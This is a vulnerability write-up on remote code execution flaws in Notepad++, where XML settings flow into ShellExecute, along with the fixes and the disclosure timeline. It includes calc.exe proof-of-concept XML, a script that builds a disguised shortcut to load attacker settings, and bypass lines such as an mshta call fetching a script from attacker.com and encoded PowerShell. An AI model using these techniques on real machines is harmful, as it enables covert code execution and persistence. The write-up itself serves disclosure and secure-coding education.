
Introduction
Notepad++ is one of the most widely used text editors on Windows, with over 28 million downloads. Its codebase is entirely open source and written in C++, which makes it an ideal target for static security analysis.
This writeup documents the discovery of three Remote Code Execution vulnerabilities found through taint analysis of PowerEditor's source code (v8.9.5). All three share the same root cause: data read from XML configuration files flows directly into the Windows ShellExecute API with no validation, whitelisting, or integrity checks.
Files involved:
%APPDATA%\Notepad++\config.xml→ CVE-2026-48778%APPDATA%\Notepad++\shortcuts.xml→ CVE-2026-48800
Setup: Loading the Codebase
The analysis started by extracting the PowerEditor.zip archive from the official Notepad++ repository and mapping its structure:
PowerEditor/
└── src/
├── Parameters.cpp (~8000 lines — config loading, XML parsing)
├── NppCommands.cpp (command dispatch — IDM_* handlers)
├── NppXml.h (pugixml wrapper)
├── WinControls/
│ ├── StaticDialog/RunDlg/RunDlg.cpp (Command::run → ShellExecute)
│ └── shortcut/shortcut.h (UserCommand class)
└── MISC/
├── PluginsManager/PluginsManager.cpp
└── Process/Processus.cpp
The XML parsing layer is handled by a thin wrapper around pugixml defined in NppXml.h:
// NppXml.h — the wrapper around pugixml
namespace NppXml
{
using Document = pugi::xml_document*;
using Element = pugi::xml_node;
using Node = pugi::xml_node;
[[nodiscard]] inline bool loadFileShortcut(Document doc, const wchar_t* filename) {
return doc->load_file(filename,
pugi::parse_cdata | pugi::parse_escapes |
pugi::parse_comments | pugi::parse_declaration);
}
// The key source function — reads a text node's value
[[nodiscard]] inline const char* value(Node node) {
return node.value(); // raw pugi::xml_node::value()
}
}
Every call to NppXml::value() is a potential taint source: it returns raw string data from an XML file on disk, entirely controllable by whoever last wrote that file.
Threat Model and Attack Surface
What can an attacker control?
Notepad++ keeps its configuration in %APPDATA%\Notepad++\. This directory is writable by any process running under the same user account — no elevated privileges required. An attacker can write to these files via:
| Vector | Description |
|---|---|
| Process running as the same user | Any code running as the logged-in user |
| Archive extraction | A ZIP/RAR file that extracts files into AppData |
| Cloud sync poisoning | OneDrive/Dropbox sync of a shared folder |
-settingsDir=PATH | NPP command-line flag pointing to a custom config directory |
Malicious .lnk shortcut | notepad++.exe -settingsDir="C:\attacker\evil_config" |
The -settingsDir= vector is particularly insidious: the attacker supplies a self-contained directory with malicious XML files. The victim's real %APPDATA%\Notepad++ is never touched.
What's the sink?
The execution sink is ShellExecute, called in RunDlg.cpp:221:
// RunDlg.cpp — Command::run()
HINSTANCE res = ::ShellExecute(hWnd, L"open",
cmd2Exec, // ← executable path
args2Exec, // ← arguments
cwd2Exec, // ← working directory
SW_SHOW);
cmd2Exec derives from _cmdLine, which is the internal state of the Command object. The question is: what populates _cmdLine?
Phase 1: Taint Analysis with Semgrep
Since CodeQL's CLI requires a buildable Windows project, I used Semgrep 1.163.0 with custom rules to trace data flows from NppXml::value() to ShellExecute.
Semgrep Rules
Seven rules were written covering direct flows, propagation through string2wstring, and memory-corruption sinks:
rules:
- id: npp-commandline-interpreter-xml
severity: ERROR
message: >
[EXEC_RCE][src:XML_CONFIG] _commandLineInterpreter read from config.xml
via NppXml::value, used as an executable in Command::run() -> ShellExecute.
languages: [cpp]
pattern-either:
- pattern: |
const char* $CLI = NppXml::value($NODE);
...
_nppGUI._commandLineInterpreter = string2wstring($CLI);
- id: npp-xml-value-to-shellexecute
severity: ERROR
message: >
[EXEC_RCE][src:XML_CONFIG] NppXml::value() reaches ShellExecute.
languages: [cpp]
pattern-either:
- pattern: |
$VAR = NppXml::value(...);
...
ShellExecute(..., $VAR, ...);
- pattern: |
$VAR = NppXml::value(...);
...
ShellExecuteW(..., $VAR, ...);
- id: npp-wcscpy-path-overflow
severity: WARNING
message: >
[MEM_CORRUPTION] wcscpy/wcscat into a fixed buffer with a path coming from XML.
languages: [cpp]
pattern-either:
- pattern: std::wcscpy($DEST, $SRC)
- pattern: wcscpy($DEST, $SRC)
Running the Analysis
semgrep \
--config npp_rce_taint.yml \
--json \
--no-git-ignore \
--timeout 120 \
--jobs 4 \
PowerEditor/src/ \
> raw_results.json
Results: 3 Semgrep findings + 8 grep-assisted findings = 11 total
After deduplication and prioritization, the findings were exported to CSV with severity, sink category, source category, and taint flow for each entry.
Phase 2: Manual Verification of Findings
Each of the 11 findings was manually verified against the source code. Result:
| ID | File | Verdict |
|---|---|---|
| NPP-RCE-001 | Parameters.cpp:6430 | ✅ CONFIRMED |
| NPP-RCE-002 | Parameters.cpp:3658 | ✅ CONFIRMED |
| NPP-DLL-001 | PluginsManager.cpp:131 | ⚠️ Portable mode only |
| NPP-BOF-001 | Parameters.cpp:4311 | ⚠️ Limited impact |
| NPP-FP-001 | NppCommands.cpp:761 | ❌ Intentional behavior |
| NPP-FP-002 | NppCommands.cpp:2490 | ❌ HKLM requires admin |
| NPP-FP-003 | pluginsAdmin.cpp:704 | ❌ SecurityGuard + DATAFILE flag |
| NPP-FP-004 | Processus.cpp:25 | ❌ Signed updater only |
The two most interesting false-positive patterns:
- pluginsAdmin.cpp:704 calls
securityGuard.checkModule()beforeLoadLibraryEx, performing full Authenticode + SHA256 verification — correctly protected. - Processus.cpp:25 is instantiated exclusively for the auto-updater (wingup), which is also verified via
securityGuard.checkModule()before execution.
CVE-2026-48778: config.xml → ShellExecute
The Source
In Parameters.cpp, the function that loads config.xml iterates over every <GUIConfig> node. When it finds name="commandLineInterpreter", it reads the text content with no validation whatsoever:
// Parameters.cpp:6424-6435 — loadGUIConfig()
// <GUIConfig name="commandLineInterpreter"></GUIConfig>
else if (std::strcmp(nm, "commandLineInterpreter") == 0)
{
NppXml::Node cmdLineInterpreterNode = NppXml::firstChild(childNode);
if (cmdLineInterpreterNode)
{
const char* cli = NppXml::value(cmdLineInterpreterNode); // ← SOURCE
if (cli && cli[0])
_nppGUI._commandLineInterpreter = string2wstring(cli); // ← PROPAGATE
}
}
The default value (defined in Parameters.h) is %COMSPEC%, which expands to C:\Windows\System32\cmd.exe. The tag is meant to let users replace the shell with PowerShell or an alternative. There is no validation of the accepted value.
The Propagation
_commandLineInterpreter lives in the NppGUI struct and is globally accessible via NppParameters::getInstance().getNppGUI(). Every time the user triggers IDM_FILE_OPEN_CMD, NppCommands.cpp builds a Command object directly from this value:
// NppCommands.cpp:227-231
case IDM_FILE_OPEN_CMD:
{
Command cmd(NppParameters::getInstance()
.getNppGUI()._commandLineInterpreter.c_str()); // ← PROPAGATE
cmd.run(_pPublicInterface->getHSelf(),
L"$(CURRENT_DIRECTORY)"); // ← triggers execution
}
break;
The Sink
Command::run() in RunDlg.cpp processes _cmdLine through environment-variable expansion and then calls ShellExecute:
// RunDlg.cpp:197-221 — Command::run()
wchar_t cmd2Exec[MAX_PATH]{};
wchar_t args[MAX_PATH]{};
// Split executable from arguments
extractArgs(cmdPure, MAX_PATH, args, MAX_PATH, _cmdLine.c_str());
// Expand %ENVIRONMENT_VARIABLES%
int nbTchar = ::ExpandEnvironmentStrings(cmdPure, cmdIntermediate, MAX_PATH);
// Expand $(NPP_VARIABLES)
expandNppEnvironmentStrs(cmdIntermediate, cmd2Exec, MAX_PATH, hWnd);
expandNppEnvironmentStrs(argsIntermediate, args2Exec, args2ExecLen, hWnd);
// ← SINK: cmd2Exec is entirely attacker-controlled
HINSTANCE res = ::ShellExecute(hWnd, L"open",
cmd2Exec, args2Exec, cwd2Exec, SW_SHOW);
There is no sanitizer anywhere between reading the XML and calling ShellExecute.
Full Taint Flow
config.xml
<GUIConfig name="commandLineInterpreter">PAYLOAD</GUIConfig>
│
▼ Parameters.cpp:6430
NppXml::value(cmdLineInterpreterNode) ← SOURCE
│
▼ Parameters.cpp:6432
_nppGUI._commandLineInterpreter = string2wstring(cli)
│
▼ NppCommands.cpp:228
Command cmd(_commandLineInterpreter.c_str())
│
▼ NppCommands.cpp:229
cmd.run(hWnd, L"$(CURRENT_DIRECTORY)")
│
▼ RunDlg.cpp:203-215
extractArgs() → ExpandEnvironmentStrings() → expandNppEnvironmentStrs()
│
▼ RunDlg.cpp:221
ShellExecute(hWnd, "open", cmd2Exec, ...) ← SINK
Trigger: Menu → File → Open Containing Folder → Command Prompt
CVE-2026-48800: shortcuts.xml → ShellExecute
The Source
In Parameters.cpp, feedUserCmds() parses the <UserDefinedCommands> section of shortcuts.xml. The text content of every <Command> tag is read with NppXml::value() and stored in a UserCommand object:
// Parameters.cpp:3655-3664 — feedUserCmds()
NppXml::Node aNode = NppXml::firstChild(childNode); // text node
if (aNode)
{
const char* cmdStr = NppXml::value(aNode); // ← SOURCE
if (cmdStr)
{
const auto cmdID = ID_USER_CMD +
static_cast<int>(_userCommands.size());
_userCommands.emplace_back(sc, cmdStr, cmdID); // ← PROPAGATE into UserCommand._cmd
_runMenuItems.emplace_back(cmdID,
string2wstring(sc.getName()),
string2wstring(fdnm));
}
}
The UserCommand class holds the raw command string:
// shortcut.h:317-322
class UserCommand : public CommandShortcut {
friend class NppParameters;
public:
UserCommand(const Shortcut& sc, const char* cmd, int id)
: CommandShortcut(sc, id), _cmd(cmd) { _canModifyName = true; }
const char* getCmd() const { return _cmd.c_str(); } // ← returns the raw XML value
private:
std::string _cmd;
};
The Propagation
When the user clicks a Run menu entry corresponding to a UserCommand, NppCommands.cpp dispatches execution:
// NppCommands.cpp:4261-4265
const vector<UserCommand>& theUserCommands =
(NppParameters::getInstance()).getUserCommandList();
UserCommand ucmd = theUserCommands[i];
Command cmd(string2wstring(ucmd.getCmd(), CP_UTF8)); // ← PROPAGATE: XML → Command
cmd.run(_pPublicInterface->getHSelf()); // ← triggers execution
The Sink
Identical to CVE-2026-48778 — the same Command::run() → ShellExecute path in RunDlg.cpp:221.
Full Taint Flow
shortcuts.xml
<UserDefinedCommands>
<Command name="..." ...>PAYLOAD</Command>
</UserDefinedCommands>
│
▼ Parameters.cpp:3658
NppXml::value(aNode) = cmdStr ← SOURCE
│
▼ Parameters.cpp:3662
_userCommands.emplace_back(sc, cmdStr, cmdID)
│
▼ shortcut.h:321
UserCommand::getCmd() → _cmd.c_str()
│
▼ NppCommands.cpp:4264
Command cmd(string2wstring(ucmd.getCmd(), CP_UTF8))
│
▼ NppCommands.cpp:4265
cmd.run(_pPublicInterface->getHSelf())
│
▼ RunDlg.cpp:221
ShellExecute(hWnd, "open", cmd2Exec, ...) ← SINK
Trigger: Menu → Run → [name of the injected command]
Persistence: the injected <Command> entry survives NPP restarts and appears as a normal entry in the Run menu, making this flow particularly well-suited for establishing persistence.
Proof of Concept
PoC Payload: config.xml (CVE-2026-48778)
Replace the commandLineInterpreter tag in %APPDATA%\Notepad++\config.xml:
<?xml version="1.0" encoding="UTF-8" ?>
<NotepadPlus>
<GUIConfigs>
<GUIConfig name="commandLineInterpreter">calc.exe</GUIConfig>
</GUIConfigs>
</NotepadPlus>
PoC Payload: shortcuts.xml (CVE-2026-48800)
Inject a <Command> entry inside <UserDefinedCommands> in %APPDATA%\Notepad++\shortcuts.xml:
<Command name="System Update Check" Ctrl="no" Alt="no" Shift="no" Key="0">calc.exe</Command>
The -settingsDir= Attack Vector
The most insidious delivery mechanism requires no modification to any of the victim's existing files:
# create_evil_lnk.ps1
$lnk = $WshShell.CreateShortcut("Notepad++.lnk")
$lnk.TargetPath = "C:\Program Files\Notepad++\notepad++.exe"
$lnk.Arguments = "-settingsDir=`"C:\attacker\evil_config`""
$lnk.IconLocation = "C:\Program Files\Notepad++\notepad++.exe,0"
$lnk.Save()
The resulting .lnk file has the Notepad++ icon, launches the legitimate notepad++.exe binary, but loads its entire configuration from the attacker-controlled directory. The victim's real %APPDATA%\Notepad++ is never touched.
Static Verification
A Python script was written to verify the existence of the taint flows in the source code without requiring Windows or a compiled NPP binary:
# verify_flows.py — static verification of taint flows
def verify_rce001(src: Path) -> VulnVerification:
params = src / "Parameters.cpp"
nppcmd = src / "NppCommands.cpp"
rundlg = src / "WinControls/StaticDialog/RunDlg/RunDlg.cpp"
# SOURCE
hits = find_line(str(params), r'NppXml::value\(cmdLineInterpreterNode\)')
# PROPAGATE
hits = find_line(str(params), r'_commandLineInterpreter\s*=\s*string2wstring')
hits = find_line(str(nppcmd), r'Command\s+cmd\(.*_commandLineInterpreter')
# SINK
hits = find_line(str(rundlg), r'ShellExecute\(.*cmd2Exec')
# SANITIZER CHECK — if found, mark as PATCHED
sanitizers = find_line(str(params),
r'_commandLineInterpreter.*whitelist|validate.*commandLine')
Run against the v8.9.5 source:
$ python3 verify_flows.py PowerEditor/src/
NPP-RCE-001: VULNERABLE — 4/4 flow nodes confirmed, 0 sanitizers
NPP-RCE-002: VULNERABLE — 5/5 flow nodes confirmed, 0 sanitizers
Exit code: 2
Fix Analysis and Residual Risk
Notepad++ v8.9.6.1 introduced a trusted-directory check on the execution sink: before calling ShellExecute, the resolved executable path is validated against a whitelist of trusted directories (C:\Windows\System32, C:\Windows, C:\Program Files, C:\Program Files (x86)).
Coverage in v8.9.6.1:
| Scenario | Resolved? |
|---|---|
C:\Users\evil\malware.exe | ⚠️ Warning popup shown — the user can still proceed |
calc.exe (System32) | ⚠️ Silently allowed — but visually obvious to the user |
cmd.exe /c "C:\evil\malware.exe" | ❌ cmd.exe is in System32 — silently passes the check |
powershell.exe -enc BASE64PAYLOAD | ❌ powershell.exe is in System32 — silently passes the check |
mshta.exe http://attacker.com/evil.hta | ❌ mshta.exe is in System32 — silently passes the check |
The fix covered the most common direct-injection scenarios but could be bypassed via Living Off The Land Binaries (LOLBin) and a path traversal in the trusted-directory check itself. Both bypass vectors are documented and resolved below (CVE-2026-52884).
CVE-2026-52884: Path Traversal and LOLBin Bypass
Advisory: GHSA-p58x-r3c9-x9p6
Affected version: Notepad++ v8.9.6.1
Patched version: v8.9.6.2
CVSS: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H = 7.8 HIGH
CWE: CWE-42 (Path Traversal) / CWE-59 (Improper Link Resolution)
Credits: Michele Piccinni, Trung Nguyen, Noman Nasir Minhas, Vibhum Dubey
Description
The isInTrustedDirectory() function introduced in v8.9.6.1 (RunDlg.cpp) validates the executable path against a whitelist of trusted directories before calling ShellExecute. However, the check uses a prefix comparison (PathIsPrefix()) without canonicalizing the path first, allowing two distinct bypass vectors.
Root Cause
// VULNERABLE — RunDlg.cpp (v8.9.6.1)
bool isInTrustedDirectory(const wchar_t* path) {
const wchar_t* trustedDirs[] = {
L"C:\\Program Files\\",
L"C:\\Program Files (x86)\\",
L"C:\\Windows\\System32\\",
L"C:\\Windows\\"
};
for (auto& trusted : trustedDirs) {
if (PathIsPrefix(trusted, path)) // BUG: no canonicalization
return true;
}
return false;
}
Bypass 1 — Path Traversal (CWE-42)
A ..\..\ sequence after a trusted prefix passes PathIsPrefix() while still resolving to a non-trusted location:
| Command in shortcuts.xml | Check result | Popup | Outcome |
|---|---|---|---|
C:\Users\victim\malware.exe | Not trusted | ✅ Yes | Popup shown |
C:\Windows\System32\..\..\Users\victim\malware.exe | Trusted prefix | ❌ No | Executed silently |
C:\Program Files\..\..\Users\victim\payload.exe | Trusted prefix | ❌ No | Executed silently |
Bypass 2 — LOLBin via Trusted Launcher (CWE-59)
Binaries in System32 pass the check while executing arbitrary code via their own arguments:
| Command | Resolved binary | Popup | Outcome |
|---|---|---|---|
cmd.exe /c malware.exe | C:\Windows\System32\cmd.exe | ❌ No | Executed silently |
powershell.exe -enc BASE64 | C:\Windows\System32\powershell.exe | ❌ No | Executed silently |
rundll32.exe javascript:... | C:\Windows\System32\rundll32.exe | ❌ No | Executed silently |
Taint Flow
shortcuts.xml
<Command>C:\Windows\System32\..\..\Users\victim\malware.exe</Command>
│
▼ Parameters.cpp:3658
NppXml::value(aNode) ← SOURCE (identical to CVE-2026-48800)
│
▼ NppCommands.cpp:4264
Command cmd(string2wstring(ucmd.getCmd(), CP_UTF8))
│
▼ RunDlg.cpp
isInTrustedDirectory(cmd2Exec) ← PREFIX CHECK, NO CANONICALIZATION
│ PathIsPrefix("C:\\Windows\\System32\\",
│ "C:\\Windows\\System32\\..\\..\\Users\\victim\\malware.exe")
│ → returns TRUE (bypass!)
▼ RunDlg.cpp:221
ShellExecute(hWnd, "open", cmd2Exec, ...) ← SINK, no warning
The Fix (commit ea15088)
// FIXED — RunDlg.cpp (v8.9.6.2)
bool isInTrustedDirectory(const wchar_t* path) {
wchar_t canonicalPath[MAX_PATH] = {};
// Resolve all .., . and redundant separators FIRST
if (!PathCanonicalize(canonicalPath, path))
return false;
// NOW check against the trusted directories
const wchar_t* trustedDirs[] = {
L"C:\\Program Files\\",
L"C:\\Program Files (x86)\\",
L"C:\\Windows\\System32\\",
L"C:\\Windows\\"
};
for (auto& trusted : trustedDirs) {
if (PathIsPrefix(trusted, canonicalPath))
return true;
}
return false;
}
After canonicalization, C:\Windows\System32\..\..\Users\victim\malware.exe resolves to C:\Users\victim\malware.exe — which fails the trusted check and correctly shows the warning popup.
The LOLBin bypass is covered by the HMAC integrity check on shortcuts.xml: any externally injected command — regardless of the executable path — triggers a tampering warning at execution time.
Responsible Disclosure Timeline
| Day | Event |
|---|---|
| Day 0 | Taint analysis completed, PoC verified with calc.exe |
| Day 1 | Security advisory (DOCX with full CVSS breakdown) sent to [email protected] |
| Day 6 | Don Ho responds and requests CVE numbers |
| Day 6 | CVE request sent to MITRE; Don Ho informed — fix verification, LOLBin bypass reported, warning popup confirmed, SHA-256/HMAC proposal sent |
| Day 7 | Don Ho releases Notepad++ v8.9.6.1 — GitHub assigns both CVEs: CVE-2026-48778 and CVE-2026-48800 — both advisories published publicly on GitHub Security |
| Day 9 | Don Ho releases Notepad++ v8.9.6.2 |
| Day 18 | GitHub assigns CVE-2026-52884, advisory published publicly on GitHub Security |
| Day 20 | Public Disclosure |
The entire process from initial report to public advisory took 7 days — a remarkably fast turnaround for a project maintained by a single developer. Don Ho was responsive and professional throughout.
Conclusions
These vulnerabilities highlight a common pattern in desktop application security: trust boundaries around configuration files are often implicit and undocumented. Notepad++ correctly verifies plugin signatures (SecurityGuard.checkModule() with Authenticode + SHA256 in pluginsAdmin.cpp) and update installer signatures, but never applied equivalent protection to its own XML configuration files.
The attack surface is limited by the requirement for local filesystem write access, which brings the CVSS score down to 7.8 rather than critical. However, the -settingsDir= delivery vector makes exploitation fully self-contained — no modification to the victim's files, no admin privileges required, no detection by file-integrity monitors watching %APPDATA%.
Key lessons for developers:
- Every file read is a potential source. If user-controllable data can end up in a file your application reads at startup, that data must be treated as untrusted regardless of the file's location.
- Apply the same security controls consistently. NPP correctly verifies plugin DLL signatures but not the config XML file. An inconsistent security posture creates exploitable gaps.
- ShellExecute is a high-value sink. Any data flow reaching ShellExecute, CreateProcess, or LoadLibrary must be treated with the same care as a SQL query or a shell command.
- File integrity checks are cheap. A SHA-256 of a configuration file can be computed in microseconds and stored in an adjacent file. The cost of not doing so was two CVEs.
Both vulnerabilities were reported to Don Ho following a responsible disclosure process. The fix was released in Notepad++ v8.9.6.1 before the publication of this writeup.
CVE-2026-48778: GHSA-7hm3-wp5q-ccv9
CVE-2026-48800: GHSA-3x3f-3j39-pj3v
CVE-2026-52884: GHSA-p58x-r3c9-x9p6










